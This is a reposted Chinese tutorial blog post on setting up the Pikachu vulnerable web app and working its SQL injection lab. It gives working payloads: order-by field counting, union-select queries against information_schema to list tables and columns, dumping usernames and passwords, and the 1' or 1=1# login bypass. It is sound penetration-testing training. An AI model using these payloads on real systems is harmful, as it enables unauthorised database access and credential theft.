iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >pikachu之SQL注入
  • 836
分享到

pikachu之SQL注入

sqlphp安全 2023-09-02 07:09:44 836人浏览 独家记忆
摘要

一. pikachu介绍 1.1 简介 Pikachu是一个带有漏洞的WEB应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 1.2 pikac

一. pikachu介绍

1.1 简介

Pikachu是一个带有漏洞的WEB应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

1.2 pikachu模块

  • Burt Force(暴力破解漏洞)
  • XSS(跨站脚本漏洞)
  • CSRF(跨站请求伪造)
  • sql-Inject(SQL注入漏洞)
  • RCE(远程命令/代码执行)
  • Files Inclusion(文件包含漏洞)
  • Unsafe file downloads(不安全的文件下载)
  • Unsafe file uploads(不安全的文件上传)
  • Over Permisson(越权漏洞)
  • ../../../(目录遍历)
  • I can see your ABC(敏感信息泄露)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)

二. pikachu的搭建

2.1 phpstudy的搭建

phpstudy下载地址小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)

下载完后双击压缩包中的应用程序

选择路径,这里我存储在D盘中

然后就安装成功了

 

2.2 pikachu的搭建

pikachu的下载地址:https://github.com/zhuifengshaonianhanlu/pikachu

将其解压到PHPstudy路径下的PHPTutorial下的WWW目录下

 在../www/pikachu-master/inc下,修改config.inc.php文件,如图: 

 然后在浏览器中访问Http://127.0.0.1/pikachu-master(因为我的之前已经安装成功了,所以没有出现初始化安装)

三.SQL注入漏洞

3.1 SQL注入原理

     就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

3.2 SQL注入分类

(1)数字型        (2)字符型       (3)报错注入     (4)Boollean注入                (5)时间注入

3.3 SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数

(3).确定回显位置

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

3.4 SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

四.SQL注入漏洞的分析

4.1 定义

     SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

4.2 原因

    SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。web 开发人员无法保证所有的输入都已经过滤,攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)。

五.SQL-Inject

5.1 数字型注入(post)

(1)判断注入类型,是数字型注入,还是字符型注入

我们可以看到是post请求,所以我们使用bp进行抓包,在burp里面进行

我们发送到重发器里面进行做,我们输入1可以看到返回给一个正常页面

 我们输入1',可以看到报错了

我们继续输入1' and '1'='1,可以看到还是报错了,我们猜测是数字型注入

 我们输入1and 1=1没有报错,1 and1=2报错了,所以类型是数字型注入(而且题目要告诉我们是数字型注入了,之所以这样做就是为了如何进行判断SQL注入类型)

 

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1 order by 1没有报错

 id=1 order by 2没有报错,3报错了,所以字段数为2个

 (3)判断回显位置                       uNIOn select 1,2

(4)判断数据库                                     union select 1,database()

 (5)获取表名          1 union select 1,group_concat(table_name) from infORMation_schema.tables where tables_schema=database() 

 (6)获取字段名                  1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

(7)获取数据    1 union select user,passWord from users

5.2 字符型注入(get) 

 (1)判断类型,我们在上面已经讲过了如何进行判断SQL注入类型,所以这里我们就不讲了,直接进行做题(注意:这里需要万能密码才能做)

我们输入1'可以看到报错了

我们输入1' and '1'='1,可以看到不存在 这里我们使用万能密码(1' or 1=1#),可以看到所有的数据,后面就不用做了

 (2)后面步骤和前面一样,这里就不在写了,vince' order by 1#

后面的我们都可以使用sqlmap进行注入,所以后面的就在这里不讲解了。后面我会更新自己挖掘的漏洞.

来源地址:https://blog.csdn.net/qq_58091216/article/details/127682080

--结束END--

本文标题: pikachu之SQL注入

本文链接: https://www.lsjlt.com/news/390166.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • pikachu之SQL注入
    一. pikachu介绍 1.1 简介 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 1.2 pikac...
    99+
    2023-09-02
    sql php 安全
  • 一文了解pikachu的SQL注入
    前言: 本文章主要讲解关于pikachu的注入方式。 目录 前言: 一、数字型注入(post) 二、字符型注入(get) 三、搜索型注入 四、xx型注入 五、"insert/update"注入 六、"delete"注入 七、"http he...
    99+
    2023-10-04
    sql 数据库 mysql
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • SQL注入教程之报错注入
    目录SQL报错注入概述报错注入的前提条件Xpath类型函数extractvalue()updatexml()其他函数floor()、rand()、count()、group...
    99+
    2024-04-02
  • SQL注入之临时表
    目录 一、什么是临时表: 二、临时表生成场景:  性质1: 性质2: 性质3:  三、临时表与union进阶利用: 四、利用场景: 一、什么是临时表: 是建立在系统临时文件夹中的表;只在当前连接可见,当关闭连接时,MySQL...
    99+
    2023-09-06
    sql mysql 数据库 web安全
  • SQL注入之sqlmap入门学习
    目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名称...
    99+
    2023-05-12
    sqlmap入门 sqlmap注入
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • SQL注入之盲注怎么实现
    这篇文章主要介绍“SQL注入之盲注怎么实现”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入之盲注怎么实现”文章能帮助大家解决问题。sql注入——盲注1.回顾...
    99+
    2024-04-02
  • 6.简单sql注入之3
    进去输入1观察发现:        2,3都只有一个结果Hello!,我们输入4观察一下    发现空白,于是输入sql注入语句:1' and '1'='1        没有报错,也有显示Hello!于是判断出,该题目没有过滤,只能用基于...
    99+
    2023-01-31
    简单 sql
  • sql注入之万能密码
    asp aspx万能密码 1:”or “a”=”a 2: ‘)or(‘a’=’a 3:or 1=1– 4:’or 1=1– 5:a’or’ 1=1– 6:”or 1=1– 7:’or’a’=’a 8:”or”=”a’=’a ...
    99+
    2023-09-17
    网络安全 Powered by 金山文档
  • sql注入之手工注入的示例分析
    这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
    99+
    2024-04-02
  • sql注入教程之类型以及提交注入
    目录参数类型明确请求方法1.GET请求2.POST請求3.COOKIE注入4.http头注入总结参数类型 这里说的参数是源码中存在注入的地方。 其中参数类型有:数字、字符、搜索、js...
    99+
    2024-04-02
  • SQL注入之绕过is_numeric过滤
    目录 预备知识PHP常用的过滤类函数is_numeric()函数介绍 实验目的实验环境实验步骤一通过源代码审计,发现临时文件 实验步骤二通过分析源代码的执行逻辑,了解程序的功能,发现程...
    99+
    2023-08-31
    数据库 php mysql sql 安全
  • ThinkPHP5漏洞分析之SQL注入(七)
    说明 该文章来源于同事lu2ker转载至此处,更多文章可参考:https://github.com/lu2ker/ 文章目录 说明0x00 从s=是个啥开始0x01 模型/...
    99+
    2023-09-08
    TP代码审计 开发语言 php 代码审计
  • sql注入之类型以及提交注入的示例分析
    这篇文章主要介绍sql注入之类型以及提交注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!参数类型这里说的参数是源码中存在注入的地方。其中参数类型有:数字、字符、搜索、json等。其中sql语句干扰符号有:...
    99+
    2023-06-20
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • SQL注入进阶-order by注入
    目录 01-Order By简介 02-Order By注入场景 03-Order By注入姿势 03.1-结合union select进行盲注 03.2-结合if()进行盲注 03.3-结合if() + sleep()进行盲注 ...
    99+
    2023-08-31
    sql php
  • web安全之防止SQL注入的方法
    小编给大家分享一下web安全之防止SQL注入的方法,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL注入,就是通过把SQL命令...
    99+
    2024-04-02
  • 数据库之SQL注入的示例分析
    小编给大家分享一下数据库之SQL注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、产生SQL注入原因开发代码的时候没有全面考虑到网络安全性,特别是在...
    99+
    2023-06-20
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作